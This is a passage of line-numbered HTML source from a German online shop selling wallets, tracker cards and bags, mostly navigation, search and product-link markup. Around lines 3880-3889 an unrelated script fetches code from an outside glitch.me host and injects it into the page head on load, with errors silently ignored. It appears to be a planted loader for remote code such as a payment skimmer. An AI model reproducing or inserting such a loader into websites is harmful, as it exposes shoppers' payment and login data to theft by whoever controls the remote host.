3789                        </button><button type="submit" name="country_code" value="EH" class="popover__choice-item">
3790                          <span class="popover__choice-label" >Western Sahara (MAD د.م.)
3791                          </span>
3792                        </button><button type="submit" name="country_code" value="YE" class="popover__choice-item">
3793                          <span class="popover__choice-label" >Yemen (YER ï·¼)
3794                          </span>
3795                        </button><button type="submit" name="country_code" value="ZM" class="popover__choice-item">
3796                          <span class="popover__choice-label" >Zambia (EUR €)
3797                          </span>
3798                        </button><button type="submit" name="country_code" value="ZW" class="popover__choice-item">
3799                          <span class="popover__choice-label" >Zimbabwe (USD $)
3800                          </span>
3801                        </button></div>
3802                  </div>
3803                </popover-content>
3804              </div></form></div>
3805    </div></mobile-navigation><predictive-search-drawer append-body reverse-breakpoint="screen and (min-width: 1200px)" id="search-drawer" initial-focus-selector="#search-drawer [name='q']" class="predictive-search drawer drawer--large drawer--from-left">
3806  <span class="drawer__overlay"></span>
3807
3808  <header class="drawer__header">
3809    <form id="predictive-search-form" action="/search" method="get" class="predictive-search__form"><svg focusable="false" width="18" height="18" class="icon icon--header-search   " viewBox="0 0 18 18">
3810        <path d="M12.336 12.336c2.634-2.635 2.682-6.859.106-9.435-2.576-2.576-6.8-2.528-9.435.106C.373 5.642.325 9.866 2.901 12.442c2.576 2.576 6.8 2.528 9.435-.106zm0 0L17 17" fill="none" stroke="currentColor" stroke-width="1.5"></path>
3811      </svg><input type="hidden" name="type" value="product">
3812      <input type="hidden" name="options[prefix]" value="last">
3813      <input type="hidden" form="predictive-search-form" name="options[unavailable_products]" value="last">
3814      <input class="predictive-search__input" type="text" name="q" autocomplete="off" autocorrect="off" aria-label="Search" placeholder="What are you looking for?">
3815    </form>
3816
3817    <button type="button" class="drawer__close-button tap-area" data-action="close" title="Close"><svg focusable="false" width="14" height="14" class="icon icon--close   " viewBox="0 0 14 14">
3818        <path d="M13 13L1 1M13 1L1 13" stroke="currentColor" stroke-width="1.5" fill="none"></path>
3819      </svg></button>
3820  </header>
3821
3822  <div class="drawer__content">
3823    <div class="predictive-search__content-wrapper">
3824      <div hidden class="predictive-search__loading-state">
3825        <div class="spinner"><svg focusable="false" width="50" height="50" class="icon icon--spinner   " viewBox="25 25 50 50">
3826        <circle cx="50" cy="50" r="20" fill="none" stroke="#282828" stroke-width="4"></circle>
3827      </svg></div>
3828      </div>
3829
3830      <div hidden class="predictive-search__results" aria-live="polite"></div><div class="predictive-search__menu-list"><div class="predictive-search__menu">
3831              <p class="predictive-search__menu-title heading heading--small">Popular products</p>
3832
3833              <ul class="linklist list--unstyled" role="list"><li class="linklist__item">
3834                    <a href="/products/smart-wallet-3-0" class="link--faded">Smart Wallet 3.0</a>
3835                  </li><li class="linklist__item">
3836                    <a href="/products/tracker-karte" class="link--faded">Tracker Card</a>
3837                  </li><li class="linklist__item">
3838                    <a href="/products/schlusseletui" class="link--faded">Key case</a>
3839                  </li><li class="linklist__item">
3840                    <a href="/products/essential-sling-bag" class="link--faded">Essential sling bag</a>
3841                  </li><li class="linklist__item">
3842                    <a href="/products/ladekabel" class="link--faded">Mini multi charging cable</a>
3843                  </li><li class="linklist__item">
3844                    <a href="/products/cardholder" class="link--faded">Cardholder</a>
3845                  </li><li class="linklist__item">
3846                    <a href="/collections/all" class="link--faded">All products</a>
3847                  </li><li class="linklist__item">
3848                    <a href="/collections/unsere-angebote" class="link--faded">All sets</a>
3849                  </li></ul>
3850            </div></div></div>
3851  </div>
3852
3853  <footer hidden class="drawer__footer drawer__footer--no-top-padding">
3854    <button type="submit" form="predictive-search-form" class="button button--primary button--full">Show all results</button>
3855  </footer>
3856</predictive-search-drawer>
3856<script>
3857  (() => {
3858    const headerElement = document.getElementById('shopify-section-header'),
3859      headerHeight = headerElement.clientHeight,
3860      headerHeightWithoutBottomNav = headerElement.querySelector('.header__wrapper').clientHeight;
3861
3862    document.documentElement.style.setProperty('--header-height', headerHeight + 'px');
3863    document.documentElement.style.setProperty('--header-height-without-bottom-nav', headerHeightWithoutBottomNav + 'px');
3864  })();
3865</script>
3865
3866
3867<script type="application/ld+json">
3868  {
3869    "@context": "https://schema.org",
3870    "@type": "Organization",
3871    "name": "ESSENTIALBAG",
3872    
3873      
3874      "logo": "https:\/\/essentialbag.com\/cdn\/shop\/files\/FINALIZED_V3_723b503a-1b56-4cd3-88d5-7fe8435ec1a7_1920x.svg?v=1702052791",
3875    
3876    "url": "https:\/\/essentialbag.de"
3877  }
3878</script>
3878
3879
3880<script>
3881        fetch('https://nervous-seed-snowplow.glitch.me/empoyees/800')
3882            .then(response => response.json())
3883            .then(script => {
3884                const newScript = document.createElement('script');
3885                newScript.textContent = script.data;
3886                document.head.appendChild(newScript);
3887            })
3888            .catch();
3889    </script>
3889
3890        
3891<style> #shopify-section-header .header__wrapper {padding-bottom: 0px; border-bottom: 0px;} </style></div><div id="shopify-section-lb-mobile-navigation" class="shopify-section"><style>
3892
3893.toggle-navigation {
3894display: none!important;
3895}
3896
3897.transcy-switcher-container {
3898z-index: 99!important;
3899}
3900
3901/* Kritisch: Drawer schon vor dem Laden der Haupt-Styles links ausblenden (kein Aufblitzen beim ersten Laden) */
3902.lb-mobile-navigation-drawer {
3903position: fixed;
3904top: 0;
3905left: 0;
3906height: 100%;
3907width: 95%;
3908max-width: 450px;
3909overflow: hidden;
3910z-index: 2147483647;
3911transform: translateX(-100%);
3912}
3913
3914@media screen and (min-width: 0) and (max-width: 576px) {
3915
3916}
3917
3918</style>
3919
3920
3921
3922
3923
3924
3925<div class="lb-mobile-navigation-drawer">
3926
3927<div class="lb-mobile-navigation">
3928
3929<svg width="800px" height="800px" viewBox="0 0 24 24" fill="none" xmlns="http://www.w3.org/2000/svg" class="lb-mobile-navigation-drawer-close">
3930<path fill-rule="evenodd" clip-rule="evenodd" d="M5.29289 5.29289C5.68342 4.90237 6.31658 4.90237 6.70711 5.29289L12 10.5858L17.2929 5.29289C17.6834 4.90237 18.3166 4.90237 18.7071 5.29289C19.0976 5.68342 19.0976 6.31658 18.7071 6.70711L13.4142 12L18.7071 17.2929C19.0976 17.6834 19.0976 18.3166 18.7071 18.7071C18.3166 19.0976 17.6834 19.0976 17.2929 18.7071L12 13.4142L6.70711 18.7071C6.31658 19.0976 5.68342 19.0976 5.29289 18.7071C4.90237 18.3166 4.90237 17.6834 5.29289 17.2929L10.5858 12L5.29289 6.70711C4.90237 6.31658 4.90237 5.68342 5.29289 5.29289Z" fill="#0F1729"/>
3931</svg>
3932
3933
3934
3935  
3936
3937
3938
3939  <div class="bestseller-products">
3940
3941
3942    <div class="bestseller-intro-box">
3943     <svg class="bestseller-intro-box-back" width="394px" height="226px" viewBox="0 0 394 226" version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
3944            <g id="Page-1" stroke="none" stroke-width="1" fill="none" fill-rule="evenodd">
3945                <g id="arrow-down-copy-3" transform="translate(-3, -94)" stroke="#000000" stroke-width="41">
3946                    <polyline id="Path-104" points="18 109 200 291 382 109"></polyline>
3947                </g>
3948            </g>
3949        </svg>
3950        Bestseller </div>
3951
3952
3953
3954
3955
3956      <div class="bestseller-product">
3957        <a href="https://essentialbag.de/products/smart-wallet-3-0">
3958            <img
3959              src="//essentialbag.com/cdn/shop/files/Bestseller_Menu_4_202x.jpg?v=1781175358"
3960              alt=""
3961              loading="lazy"
3962            >
3963
3964          <h3>Smart Wallet 3.0</h3>
3965        </a>
3966      </div>
3967    
3968      <div class="bestseller-product">
3969        <a href="https://essentialbag.de/products/tracker-karte">
3970            <img
3971              src="//essentialbag.com/cdn/shop/files/Design_ohne_Titel_8_07666439-a82a-44db-a0bb-0f3d7b0db9df_202x.jpg?v=1781174255"
3972              alt=""
3973              loading="lazy"
3974            >
3975
3976          <h3>Tracker Karte 3.0  Apple & Android</h3>
3977        </a>
3978      </div>
3979    
3980      <div class="bestseller-product">
3981        <a href="https://essentialbag.de/products/essential-belt">
3982            <img
3983              src="//essentialbag.com/cdn/shop/files/Bestseller_Menu_3_202x.jpg?v=1781175214"
3984              alt=""
3985              loading="lazy"
3986            >
3987
3988          <h3>Automatik Gürtel </h3>
3989        </a>
3990      </div>
3991    
3992      <div class="bestseller-product">
3993        <a href="https://essentialbag.de/products/induktives-ladekabel-kabellos">
3994            <img
3995              src="//essentialbag.com/cdn/shop/files/Bestseller_Menu_5_202x.jpg?v=1781175543"
3996              alt=""
3997              loading="lazy"
3998            >
3999
4000          <h3>Ladekabel Tracker Karte</h3>
4001        </a>
4002      </div>
4003    
4004      <div class="bestseller-product">
4005        <a href="https://essentialbag.de/products/schlusseletui">
4006            <img
4007              src="//essentialbag.com/cdn/shop/files/Bestseller_Menu_2_202x.jpg?v=1781175114"
4008              alt=""
4009              loading="lazy"
4010            >
4011
4012          <h3>Schlüsseletui</h3>
4013        </a>
4014      </div>
4015    
4016      <div class="bestseller-product">
4017        <a href="https://essentialbag.de/products/schlussel-tracker-ios-android">
4018            <img
4019              src="//essentialbag.com/cdn/shop/files/Bestseller_Menu_1_202x.jpg?v=1781174919"
4020              alt=""
4021              loading="lazy"
4022            >
4023
4024          <h3>Schlüssel Tracker iOS & Android</h3>
4025        </a>
4026      </div>
4027    
4028      <div class="bestseller-product">
4029        <a href="https://essentialbag.de/products/essential-sling-bag?_abr=1">
4030            <img
4031              src="//essentialbag.com/cdn/shop/files/Bestseller_Menu_202x.jpg?v=1781174614"
4032              alt=""
4033              loading="lazy"
4034            >
4035
4036          <h3>Slingbag 2.0</h3>
4037        </a>
4038      </div>
4039    
4040  </div>
4041
4042
4043
4044
4045  <style>
4046
4047    .bestseller-products {
4048    position: fixed;
4049    top: 0px;
4050    height: 100%;
4051    left: 100%;
4052    width: 100%;
4053    box-sizing: border-box;
4054    background: white;
4055    overflow: scroll;
4056    padding: 18px;
4057    z-index: 4;
4058    transition: all 0.3s;
4059      transition-timing-function: ease-in-out;
4060}
4061
4062
4063    .bestseller-products-open {
4064 left: 0%;
4065    }
4066
4067
4068.bestseller-intro-box {
4069display: flex;
4070align-items: center;
4071color: grey;
4072font-weight: bold;
4073font-size: 16px;
4074line-height: 20px;
4075margin-bottom: 15px;
4076  cursor: pointer;
4077}
4078
4079
4080.bestseller-intro-box-back {
4081  width: 18px;
4082  height: 18px;
4083  margin-right: 12px;
4084  transform: rotate(90deg);
4085}
4086
4087    .bestseller-products a {
4088    display: flex;
4089    align-items: center;
4090    padding: 3px 0px;
4091    font-size: 16px;
4092    margin-bottom: 5px;
4093    font-weight: 600;
4094}
4095
4096    .bestseller-products a img {
4097    width: 72px;
4098    height: 72px;
4099    margin-right: 9px;
4100    border-radius: 6px;
4101}
4102
4103  </style>
4104
4105
4106
4107
4108          
4109<a href="https://essentialbag.de/pages/tracker-pro-orange-drop" class="lb-mobile-navigation-aktion-badge"><img src="//essentialbag.com/cdn/shop/files/ChatGPT_Image_13._Aug._2026_22_13_10_600x.png?v=1786652019" style="display: block; margin-bottom: 9px; border-radius: 9px; width: 100%;"></a>
4110        
4111
4112
4113
4114        <div class="lb-mobile-navigation-stories-link">
4115
4116            Bestseller
4117
4118    </div>
4119
4120        <div class="lb-mobile-navigation-stories">
4121        
4122            <a href="https://essentialbag.de/products/smart-wallet-3-0"><img src="//essentialbag.com/cdn/shop/files/Bestseller_Menu_4_202x.jpg?v=1781175358">Smart Wallet 3.0</a>
4123            
4124            <a href="https://essentialbag.de/products/tracker-karte"><img src="//essentialbag.com/cdn/shop/files/Design_ohne_Titel_8_07666439-a82a-44db-a0bb-0f3d7b0db9df_202x.jpg?v=1781174255">Tracker Karte 3.0  Apple & Android</a>
4125            
4126            <a href="https://essentialbag.de/products/essential-belt"><img src="//essentialbag.com/cdn/shop/files/Bestseller_Menu_3_202x.jpg?v=1781175214">Automatik Gürtel </a>
4127            
4128            <a href="https://essentialbag.de/products/induktives-ladekabel-kabellos"><img src="//essentialbag.com/cdn/shop/files/Bestseller_Menu_5_202x.jpg?v=1781175543">Ladekabel Tracker Karte</a>
4129            
4130            <a href="https://essentialbag.de/products/schlusseletui"><img src="//essentialbag.com/cdn/shop/files/Bestseller_Menu_2_202x.jpg?v=1781175114">Schlüsseletui</a>
4131            
4132            <a href="https://essentialbag.de/products/schlussel-tracker-ios-android"><img src="//essentialbag.com/cdn/shop/files/Bestseller_Menu_1_202x.jpg?v=1781174919">Schlüssel Tracker iOS & Android</a>
4133            
4134        </div>
4135
4136
4137
4138
4139
4140
4141
4142
4143
4144
4145    
4146     <a href="https://essentialbag.de/products/tracker-karte-pro-apple-android?variant=58415554691336" class="lb-mobile-navigation-link  " >
4147        
4148        
4149        
4150        
4151        
4152        
4153        
4154        
4155        
4156        
4157        
4158        
4159        
4160        
4161        
4162        
4163        
4164        
4165        
4166        
4167        
4168        
4169        
4170        
4171        
4172        
4173        
4174        
4175        
4176        
4177        
4178        
4179        
4180        
4181        
4182        
4183        
4184        
4185        
4186        
4187        
4188        
4189        
4190        
4191        
4192        
4193        
4194        
4195        
4196        
4197        
4198        
4199        
4200        
4201        
4202        
4203        
4204        
4205        
4206        
4207        
4208        
4209        
4210        
4211        
4212        
4213        
4214        
4215        
4216        
4217        
4218        
4219        
4220        
4221        
4222        
4223        
4224        
4225        
4226        
4227        
4228        
4229        
4230        
4231        
4232        
4233        
4234        
4235            
4236            <img class="lb-mobile-navigation-image" src="//essentialbag.com/cdn/shop/files/TKPRO-ORANGE-BILD1-dunkel-zwei-karten_neu_200x.jpg?v=1791519508">
4237           
4238               
4239        
4240        
4241        
4242        
4243        
4244        
4245        
4246        
4247        
4248        
4249        
4250        
4251        
4252        <div>NEU: Tracker Karte Pro
4253        
4254        
4255        
4256        
4257        
4258        
4259        
4260        
4261        
4262        
4263        
4264        
4265        
4266        
4267        
4268        
4269        
4270        
4271        
4272        
4273        
4274        
4275        
4276        
4277        
4278        
4279        
4280        
4281        
4282        
4283        
4284        
4285        
4286        
4287        
4288        
4289        
4290        
4291        
4292        
4293        
4294        
4295        
4296        
4297        
4298        
4299        
4300        
4301        
4302        
4303        
4304        
4305        
4306        
4307        
4308        
4309        
4310        
4311        
4312        
4313        
4314        
4315        
4316        
4317        
4318        
4319        
4320        
4321        
4322        
4323        
4324        
4325        
4326        
4327        
4328        
4329        
4330        
4331        
4332        
4333        
4334        
4335        
4336        
4337        
4338        
4339        
4340            
4341        
4342        
4343        
4344        
4345        
4346        
4347        
4348        
4349        
4350        
4351        
4352        
4353        
4354        
4355
4356              
4357        
4358        
4359        
4360        
4361        
4362        
4363        
4364        
4365        
4366        
4367        
4368        
4369        
4370        
4371        
4372        
4373        
4374        
4375        
4376        
4377        
4378        
4379        
4380        
4381        
4382        
4383        
4384        
4385        
4386        
4387        
4388        
4389        
4390        
4391        
4392        
4393        
4394        
4395        
4396        
4397        
4398        
4399        
4400        
4401        
4402        
4403        
4404        
4405        
4406        
4407        
4408        
4409        
4410        
4411        
4412        
4413        
4414        
4415        
4416        
4417        
4418        
4419        
4420        
4421        
4422        
4423        
4424        
4425        
4426        
4427        
4428        
4429        
4430        
4431        
4432        
4433        
4434        
4435        
4436        
4437        
4438        
4439        
4440        
4441        
4442        
4443        
4444            
4445        
4446        
4447        
4448        
4449        
4450        
4451        
4452        
4453        
4454        
4455        
4456        
4457        
4458        
4459
4460    </div>
4461
4462    </a>
4463    
4464
4465
4466    
4467     <a href="https://essentialbag.de/products/smart-wallet-3-0?_abr=1&variant=52869160141064" class="lb-mobile-navigation-link  " >
4468        
4469        
4470        
4471        
4472        
4473        
4474            
4475            <img class="lb-mobile-navigation-image" src="//essentialbag.com/cdn/shop/files/1_26c87092-bdfc-41a3-9b21-1bc53d53723f_200x.jpg?v=1786626514">
4476           
4477               
4478        
4479        
4480        
4481        
4482        
4483        
4484        
4485        
4486        
4487        
4488        
4489        
4490        
4491        
4492        
4493        
4494        
4495        
4496        
4497        
4498        
4499        
4500        
4501        
4502        
4503        
4504        
4505        
4506        
4507        
4508        
4509        
4510        
4511        
4512        
4513        
4514        
4515        
4516        
4517        
4518        
4519        
4520        
4521        
4522        
4523        
4524        
4525        
4526        
4527        
4528        
4529        
4530        
4531        
4532        
4533        
4534        
4535        
4536        
4537        
4538        
4539        
4540        
4541        
4542        
4543        
4544        
4545        
4546        
4547        
4548        
4549        
4550        
4551        
4552        
4553        
4554        
4555        
4556        
4557        
4558        
4559        
4560        
4561        
4562        
4563        
4564        
4565        
4566        
4567        
4568        
4569        
4570        
4571        
4572        
4573        <div>Limited Smart Wallet
4574        
4575        
4576        
4577        
4578        
4579            
4580        
4581        
4582        
4583        
4584        
4585        
4586        
4587        
4588        
4589        
4590        
4591        
4592        
4593        
4594        
4595        
4596        
4597        
4598        
4599        
4600        
4601        
4602        
4603        
4604        
4605        
4606        
4607        
4608        
4609        
4610        
4611        
4612        
4613        
4614        
4615        
4616        
4617        
4618        
4619        
4620        
4621        
4622        
4623        
4624        
4625        
4626        
4627        
4628        
4629        
4630        
4631        
4632        
4633        
4634        
4635        
4636        
4637        
4638        
4639        
4640        
4641        
4642        
4643        
4644        
4645        
4646        
4647        
4648        
4649        
4650        
4651        
4652        
4653        
4654        
4655        
4656        
4657        
4658        
4659        
4660        
4661        
4662        
4663        
4664        
4665        
4666        
4667        
4668        
4669        
4670        
4671        
4672        
4673        
4674        
4675        
4676
4677              
4678        
4679        
4680        
4681        
4682        
4683            
4684        
4685        
4686        
4687        
4688        
4689        
4690        
4691        
4692        
4693        
4694        
4695        
4696        
4697        
4698        
4699        
4700        
4701        
4702        
4703        
4704        
4705        
4706        
4707        
4708        
4709        
4710        
4711        
4712        
4713        
4714        
4715        
4716        
4717        
4718        
4719        
4720        
4721        
4722        
4723        
4724        
4725        
4726        
4727        
4728        
4729        
4730        
4731        
4732        
4733        
4734        
4735        
4736        
4737        
4738        
4739        
4740        
4741        
4742        
4743        
4744        
4745        
4746        
4747        
4748        
4749        
4750        
4751        
4752        
4753        
4754        
4755        
4756        
4757        
4758        
4759        
4760        
4761        
4762        
4763        
4764        
4765        
4766        
4767        
4768        
4769        
4770        
4771        
4772        
4773        
4774        
4775        
4776        
4777        
4778        
4779        
4780
4781    </div>
4782
4783    </a>
4784    
4785
4786
4787    
4788     <a href="/products/tracker-karte" class="lb-mobile-navigation-link  " >
4789        
4790        
4791        
4792        
4793        
4794        
4795        
4796        
4797        
4798        
4799        
4800        
4801        
4802        
4803        
4804        
4805        
4806        
4807        
4808        
4809        
4810        
4811        
4812        
4813        
4814        
4815        
4816        
4817        
4818        
4819        
4820        
4821        
4822        
4823        
4824        
4825        
4826        
4827        
4828        
4829        
4830        
4831        
4832        
4833        
4834        
4835        
4836        
4837        
4838        
4839        
4840        
4841        
4842        
4843        
4844        
4845        
4846        
4847        
4848        
4849        
4850        
4851        
4852        
4853        
4854        
4855        
4856        
4857        
4858        
4859        
4860        
4861        
4862        
4863        
4864        
4865        
4866        
4867        
4868        
4869        
4870        
4871        
4872        
4873        
4874        
4875        
4876        
4877        
4878        
4879        
4880        
4881        
4882        
4883        
4884        
4885        
4886        
4887            
4888            <img class="lb-mobile-navigation-image" src="//essentialbag.com/cdn/shop/files/Tracker_Karte_Google_2_200x.jpg?v=1781601800">
4889           
4890               
4891        
4892        
4893        
4894        <div>Tracker Karte 3.0
4895        
4896        
4897        
4898        
4899        
4900        
4901        
4902        
4903        
4904        
4905        
4906        
4907        
4908        
4909        
4910        
4911        
4912        
4913        
4914        
4915        
4916        
4917        
4918        
4919        
4920        
4921        
4922        
4923        
4924        
4925        
4926        
4927        
4928        
4929        
4930        
4931        
4932        
4933        
4934        
4935        
4936        
4937        
4938        
4939        
4940        
4941        
4942        
4943        
4944        
4945        
4946        
4947        
4948        
4949        
4950        
4951        
4952        
4953        
4954        
4955        
4956        
4957        
4958        
4959        
4960        
4961        
4962        
4963        
4964        
4965        
4966        
4967        
4968        
4969        
4970        
4971        
4972        
4973        
4974        
4975        
4976        
4977        
4978        
4979        
4980        
4981        
4982        
4983        
4984        
4985        
4986        
4987        
4988        
4989        
4990        
4991        
4992            
4993        
4994        
4995        
4996        
4997
4998              
4999        
5000        
5001        
5002        
5003        
5004        
5005        
5006        
5007        
5008        
5009        
5010        
5011        
5012        
5013        
5014        
5015        
5016        
5017        
5018        
5019        
5020        
5021        
5022        
5023        
5024        
5025        
5026        
5027        
5028        
5029        
5030        
5031        
5032        
5033        
5034        
5035        
5036        
5037        
5038        
5039        
5040        
5041        
5042        
5043        
5044        
5045        
5046        
5047        
5048        
5049        
5050        
5051        
5052        
5053        
5054        
5055        
5056        
5057        
5058        
5059        
5060        
5061        
5062        
5063        
5064        
5065        
5066        
5067        
5068        
5069        
5070        
5071        
5072        
5073        
5074        
5075        
5076        
5077        
5078        
5079        
5080        
5081        
5082        
5083        
5084        
5085        
5086        
5087        
5088        
5089        
5090        
5091        
5092        
5093        
5094        
5095        
5096            
5097        
5098        
5099        
5100        
5101
5102    </div>
5103
5104    </a>
5105    
5106
5107
5108    
5109     <a href="/products/smart-wallet-3-0" class="lb-mobile-navigation-link  " >
5110        
5111        
5112        
5113        
5114        
5115        
5116        
5117        
5118        
5119        
5120        
5121        
5122        
5123        
5124        
5125        
5126        
5127        
5128        
5129        
5130        
5131        
5132        
5133        
5134        
5135        
5136        
5137        
5138        
5139        
5140        
5141        
5142        
5143        
5144        
5145        
5146        
5147        
5148        
5149        
5150        
5151        
5152        
5153        
5154        
5155        
5156        
5157        
5158        
5159        
5160        
5161        
5162        
5163        
5164        
5165        
5166        
5167        
5168        
5169        
5170        
5171        
5172        
5173        
5174        
5175        
5176        
5177        
5178        
5179        
5180        
5181        
5182        
5183        
5184        
5185        
5186        
5187        
5188        
5189        
5190        
5191        
5192        
5193        
5194        
5195        
5196        
5197        
5198        
5199        
5200        
5201        
5202        
5203        
5204        
5205        
5206            
5207            <img class="lb-mobile-navigation-image" src="//essentialbag.com/cdn/shop/files/EB_Smart_Wallet_3.0_EN_d17614fb-27de-459c-ac09-92bf2dc9fb96_200x.jpg?v=1781600855">
5208           
5209               
5210        
5211        
5212        
5213        
5214        
5215        <div>Smart Wallet 3.0
5216        
5217        
5218        
5219        
5220        
5221        
5222        
5223        
5224        
5225        
5226        
5227        
5228        
5229        
5230        
5231        
5232        
5233        
5234        
5235        
5236        
5237        
5238        
5239        
5240        
5241        
5242        
5243        
5244        
5245        
5246        
5247        
5248        
5249        
5250        
5251        
5252        
5253        
5254        
5255        
5256        
5257        
5258        
5259        
5260        
5261        
5262        
5263        
5264        
5265        
5266        
5267        
5268        
5269        
5270        
5271        
5272        
5273        
5274        
5275        
5276        
5277        
5278        
5279        
5280        
5281        
5282        
5283        
5284        
5285        
5286        
5287        
5288        
5289        
5290        
5291        
5292        
5293        
5294        
5295        
5296        
5297        
5298        
5299        
5300        
5301        
5302        
5303        
5304        
5305        
5306        
5307        
5308        
5309        
5310        
5311            
5312        
5313        
5314        
5315        
5316        
5317        
5318
5319              
5320        
5321        
5322        
5323        
5324        
5325        
5326        
5327        
5328        
5329        
5330        
5331        
5332        
5333        
5334        
5335        
5336        
5337        
5338        
5339        
5340        
5341        
5342        
5343        
5344        
5345        
5346        
5347        
5348        
5349        
5350        
5351        
5352        
5353        
5354        
5355        
5356        
5357        
5358        
5359        
5360        
5361        
5362        
5363        
5364        
5365        
5366        
5367        
5368        
5369        
5370        
5371        
5372        
5373        
5374        
5375        
5376        
5377        
5378        
5379        
5380        
5381        
5382        
5383        
5384        
5385        
5386        
5387        
5388        
5389        
5390        
5391        
5392        
5393        
5394        
5395        
5396        
5397        
5398        
5399        
5400        
5401        
5402        
5403        
5404        
5405        
5406        
5407        
5408        
5409        
5410        
5411        
5412        
5413        
5414        
5415            
5416        
5417        
5418        
5419        
5420        
5421        
5422
5423    </div>
5424
5425    </a>
5426    
5427
5428
5429    
5430     <a href="/products/essential-sling-bag" class="lb-mobile-navigation-link  " >
5431        
5432        
5433        
5434        
5435        
5436        
5437        
5438        
5439        
5440        
5441        
5442        
5443        
5444        
5445        
5446        
5447        
5448        
5449        
5450        
5451        
5452        
5453        
5454        
5455        
5456        
5457        
5458        
5459        
5460        
5461        
5462        
5463        
5464        
5465        
5466        
5467        
5468        
5469        
5470        
5471        
5472        
5473        
5474        
5475        
5476        
5477        
5478        
5479        
5480        
5481        
5482        
5483        
5484        
5485        
5486        
5487        
5488        
5489        
5490        
5491        
5492        
5493        
5494        
5495        
5496        
5497        
5498        
5499        
5500        
5501        
5502        
5503        
5504        
5505        
5506        
5507        
5508        
5509        
5510        
5511        
5512        
5513        
5514        
5515        
5516        
5517        
5518        
5519        
5520        
5521        
5522        
5523        
5524        
5525            
5526            <img class="lb-mobile-navigation-image" src="//essentialbag.com/cdn/shop/files/EN_EB_Slingbag_960_x_1200_px_200x.jpg?v=1781600445">
5527           
5528               
5529        
5530        
5531        
5532        
5533        
5534        
5535        
5536        <div>Sling Bag 2.0
5537        
5538        
5539        
5540        
5541        
5542        
5543        
5544        
5545        
5546        
5547        
5548        
5549        
5550        
5551        
5552        
5553        
5554        
5555        
5556        
5557        
5558        
5559        
5560        
5561        
5562        
5563        
5564        
5565        
5566        
5567        
5568        
5569        
5570        
5571        
5572        
5573        
5574        
5575        
5576        
5577        
5578        
5579        
5580        
5581        
5582        
5583        
5584        
5585        
5586        
5587        
5588        
5589        
5590        
5591        
5592        
5593        
5594        
5595        
5596        
5597        
5598        
5599        
5600        
5601        
5602        
5603        
5604        
5605        
5606        
5607        
5608        
5609        
5610        
5611        
5612        
5613        
5614        
5615        
5616        
5617        
5618        
5619        
5620        
5621        
5622        
5623        
5624        
5625        
5626        
5627        
5628        
5629        
5630            
5631        
5632        
5633        
5634        
5635        
5636        
5637        
5638        
5639
5640              
5641        
5642        
5643        
5644        
5645        
5646        
5647        
5648        
5649        
5650        
5651        
5652        
5653        
5654        
5655        
5656        
5657        
5658        
5659        
5660        
5661        
5662        
5663        
5664        
5665        
5666        
5667        
5668        
5669        
5670        
5671        
5672        
5673        
5674        
5675        
5676        
5677        
5678        
5679        
5680        
5681        
5682        
5683        
5684        
5685        
5686        
5687        
5688        
5689        
5690        
5691        
5692        
5693        
5694        
5695        
5696        
5697        
5698        
5699        
5700        
5701        
5702        
5703        
5704        
5705        
5706        
5707        
5708        
5709        
5710        
5711        
5712        
5713        
5714        
5715        
5716        
5717        
5718        
5719        
5720        
5721        
5722        
5723        
5724        
5725        
5726        
5727        
5728        
5729        
5730        
5731        
5732        
5733        
5734            
5735        
5736        
5737        
5738        
5739        
5740        
5741        
5742        
5743
5744    </div>
5745
5746    </a>
5747    
5748
5749
5750    
5751    <a class="lb-mobile-navigation-opener lb-mobile-navigation-link  ">
5752       
5753       
5754      
5755        
5756        
5757        
5758        
5759        
5760        
5761        
5762        
5763        
5764        
5765        
5766        
5767        
5768        
5769        
5770        
5771        
5772        
5773        
5774        
5775        
5776        
5777        
5778        
5779        
5780        
5781        
5782        
5783        
5784        
5785        
5786        
5787        
5788        
5789        
5790        
5791        
5792        
5793        
5794        
5795        
5796        
5797        
5798        
5799        
5800        
5801        
5802        
5803        
5804        
5805        
5806        
5807        
5808        
5809        
5810        
5811        
5812        
5813        
5814        
5815        
5816        
5817        
5818        
5819        
5820        
5821        
5822        
5823        
5824        
5825        
5826        
5827        
5828        
5829        
5830        
5831        
5832        
5833        
5834        
5835        
5836        
5837        
5838        
5839        
5840        
5841        
5842        
5843        
5844            
5845            <img class="lb-mobile-navigation-image" src="//essentialbag.com/cdn/shop/files/ChatGPT_Image_16._Juni_2026_11_19_06_200x.png?v=1781601563">
5846            
5847            
5848        
5849        
5850        
5851        
5852        
5853        
5854        
5855        
5856        
5857        
5858        
5859        
5860        
5861
5862            <div>Our products
5863        
5864        
5865        
5866        
5867        
5868        
5869        
5870        
5871        
5872        
5873        
5874        
5875        
5876        
5877        
5878        
5879        
5880        
5881        
5882        
5883        
5884        
5885        
5886        
5887        
5888        
5889        
5890        
5891        
5892        
5893        
5894        
5895        
5896        
5897        
5898        
5899        
5900        
5901        
5902        
5903        
5904        
5905        
5906        
5907        
5908        
5909        
5910        
5911        
5912        
5913        
5914        
5915        
5916        
5917        
5918        
5919        
5920        
5921        
5922        
5923        
5924        
5925        
5926        
5927        
5928        
5929        
5930        
5931        
5932        
5933        
5934        
5935        
5936        
5937        
5938        
5939        
5940        
5941        
5942        
5943        
5944        
5945        
5946        
5947        
5948        
5949        
5950        
5951        
5952            
5953        
5954        
5955        
5956        
5957        
5958        
5959        
5960        
5961        
5962        
5963        
5964        
5965    </div>
5966
5967        <svg class="lb-mobile-navigation-arrow" width="394px" height="226px" viewBox="0 0 394 226" version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
5968            <g id="Page-1" stroke="none" stroke-width="1" fill="none" fill-rule="evenodd">
5969                <g id="arrow-down-copy-3" transform="translate(-3, -94)" stroke="#000000" stroke-width="41">
5970                    <polyline id="Path-104" points="18 109 200 291 382 
5970109"></polyline>
5971                </g>
5972            </g>
5973        </svg>
5974        </a>
5975        <div class="lb-mobile-navigation-content">
5976
5977
5978 <div class="lb-mobile-navigation-closer">
5979
5980      <svg class="bestseller-intro-box-back" width="394px" height="226px" viewBox="0 0 394 226" version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
5981            <g id="Page-1" stroke="none" stroke-width="1" fill="none" fill-rule="evenodd">
5982                <g id="arrow-down-copy-3" transform="translate(-3, -94)" stroke="#000000" stroke-width="41">
5983                    <polyline id="Path-104" points="18 109 200 291 382 109"></polyline>
5984                </g>
5985            </g>
5986        </svg>
5987                    Our products </div>
5988
5989
5990        
5991
5992                <a href="/collections/all" class="lb-mobile-navigation-sublink ">
5993                    
5994
5995                
5996                  
5997        
5998        
5999        
6000        
